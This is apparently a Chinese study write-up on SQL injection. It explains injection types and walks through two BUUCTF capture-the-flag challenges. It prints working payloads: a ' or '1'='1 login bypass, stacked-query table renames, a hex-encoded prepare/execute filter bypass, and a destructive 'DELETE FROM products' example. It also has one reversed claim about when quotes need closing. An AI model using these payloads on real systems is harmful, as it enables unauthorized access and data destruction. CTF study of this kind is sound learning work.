SQL注入专项整理（持续更新中）

深入了解SQL注入

什么是SQL注入？

SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严，攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句，在管理员不知情的情况下实现非法操作，以此来实现欺骗数据库服务器执行非授权的任意查询，从而进一步得到相应的数据信息。（百度百科） SQL注入是Web安全常见的一种攻击手段，其主要存在于数据库中，用来窃取重要信息，在输入框、搜索框、登录窗口、交互式等等都存在注入可能；是否是输入函数无法判断其输入的合法性并将其作为PHP等语言代码来执行，或整体逻辑出现缺陷，或关键字关键命令关键字符没过滤全，包括编码加密命令是否进行了过滤，这些种种环节的防护不严都将导致SQL注入的成功。（本人拙见）

SQL注入按照注入点类型来分可以分为常见的三大类：

数字型注入：当输入的参数为整型的时候，如果存在注入漏洞，则可以认为是数字型注入。

select * from BaiMao where id='1'

字符型注入：和数字型恰恰相反，当输入的参数为字符串的时候，如果存在注入漏洞，则可以认为是字符型注入，不同的一点是，数字型注入参数需要闭合，而字符型注入参数不需要闭合。

select * from BaiMao where id=' 1' '

搜索型注入：网站具有搜索功能，但开发人员忽略了对变量、关键字、命令的过滤，从而导致了注入可能，也可以称为文本框注入。

常见注入手法分类：

基于从服务器接收到的响应基于报错的SQL注入联合查询注入堆查询注入 SQL盲注基于布尔SQL盲注基于时间SQL盲注基于报错SQL盲注基于程度和顺序的注入一阶注入二阶注入一阶注射是指输入的注射语句对 WEB 直接产生了影响，出现了结果；二阶注入类似存储型 XSS，是指输入提交的语句，无法直接对 WEB 应用程序产生影响，通过其它的辅助间接的对 WEB 产生危害，这样的就被称为是二阶注入. 基于注入点的位置通关用户输入的单表域注射通过cookie注射通关服务器变量注射（基于头部信息的注入）此处参考博客：https://blog.csdn.net/m0_46571665/article/details/124946824?spm=1001.2014.3001.5506

万能密码实验原理

用户进行登陆验证的时候，就会对其用户名和密码参数进行验证，而验证的过程就是网站需要查询数据库，而查询数据库的本质就是后台要执行SQL语句。咱们可以测试一下，原来后台执行的数据库查询操作（SQL语句）： select username,password from BaiMao where username='用户名' and password='密码' 由于网站后台在进行数据库查询的时候没有对单引号进行过滤，或者说是过滤不严，当输入用户名【admin】和万能密码【1’ or ‘1’='1】的时候，执行的SQL语句为： select username,password from BaiMao where username='admin' and password=' 1' or '1'='1 ' 再者SQL语句中逻辑运算符具有优先级，【=】>【and】>【or】,且适用传递性，因此这个SQL语句在后台进行解析时，分成了两句，（【注意】1’时字符型注入，所以可以只看这 or ‘1’=‘1) select username,password from BaiMao where username='admin' and password=' 1 '和【’ 1 '】，两句bool（布尔类型）值进行逻辑or运算，恒为true,SQL查询语句的结果就为true，这就意味着认证成功，成功登录到系统当中。

【例题：】buuctf [极客大挑战 2019]EasySQL 1

网页环境

可以看到是一个登录窗口，题目已经说了是SQL注入首先试一下弱口令，admin,123

提示用户名密码错了既然是第一道题，那应该是很简单了判断是数字型还是字符型

数字型

and 1=1 回显正常 and 1=2 返回异常，存在数字型注入可能

字符型

1 返回正常 1' 返回异常，存在字符型注入可能 经过测试，发现username和password两个参数都可以分别注入和同时注入构造payload url?usename=1'&password=1'

回显报错，存在SQL字符型注入 小试一下万能密码注入 构造payload url?usename=1' or '1'='1&password=1' or '1'='1 回显flag

字符型注入和堆叠查询手法原理

堆叠注入原理

在SQL中，分号（;）是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句，会不会一起执行？因此这个想法也就造就了堆叠注入。而union injection（联合注入）也是将两条语句合并在一起，两者之间有什么区别么？区别就在于union 或者union all执行的语句类型是有限的，可以用来执行查询语句，而堆叠注入可以执行的是任意的语句。例如以下这个例子。用户输入：1; DELETE FROM products服务器端生成的sql语句为：（因未对输入的参数进行过滤）Select * from products where productid=1;DELETE FROM products当执行查询后，第一条显示查询信息，第二条则将整个表进行删除。参考：https://blog.csdn.net/qq_26406447/article/details/90643951

【例题】buuctf[强网杯 2019]随便注 1

第一种解法堆叠注入

网页环境

判断是否是字符型注入 1'

判断是否存在关键字过滤 select

联合查询被过滤，只能用堆叠注入了查看有几个字段 1' order by 2#

正常回显 1' order by 3#

回显报错，可以看出只有两个字段查看所有数据库 1'; show databases;

查看所有数据表 1'; show tables;

爆words数据表的字段 1';show columns from words;#

爆1919810931114514数据表字段（注意数据表为数字的时候需要用反引号括起来） 1';show columns from 1919810931114514;#

可以看到这两个表words表有两个字段，而另一个只有一个字段后台SQL查询语句应该是： select * from words where id= 所以说只能先查询id字段，然而另一个表只有一个flag字段是肯定爆不了flag的，并且类型为varchar字符串类型，而恰巧words数据表里面的data也是varchar类型，因此从这里就可以得到做题思路，通过rename函数进行改表，把1919810931114514改为words，增加新字段id，将flag改为data，将刚开始那个words表改为其他任意表。构造payload： 1';rename table words to BaiMao;rename table 1919810931114514 to words;alter table words add id int unsigned not NULL auto_increment primary key;alter table words change flag data varchar(100);#

rename修改表名 alter修改已知的列 add增加 int整数类型 unsigned无符号类型 not null- 指示某列不能存储 NULL 值。 primary key - NOT NULL 和 UNIQUE 的结合。指定主键，确保某列（或多个列的结合）有唯一标识，每个表有且只有一个主键。 auto_increment-自动赋值，默认从1开始。

成功回显flag：

注意没有回显flag，就类似于你更新了个东西但是没刷新，重新在文本框里面输入1提交即可回显flag。

第二种解法编码逃逸绕过滤

由于select被过滤，考虑使用编码进行绕过使用select查询就很简单了构造payload select *from where 1919810931114514`` *号查询数据表里面的全部内容，这就是爆出flag的原理进行16进制编码加密 73656c656374202a2066726f6d206020313931393831303933313131343531342060 最终payload： 1';SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#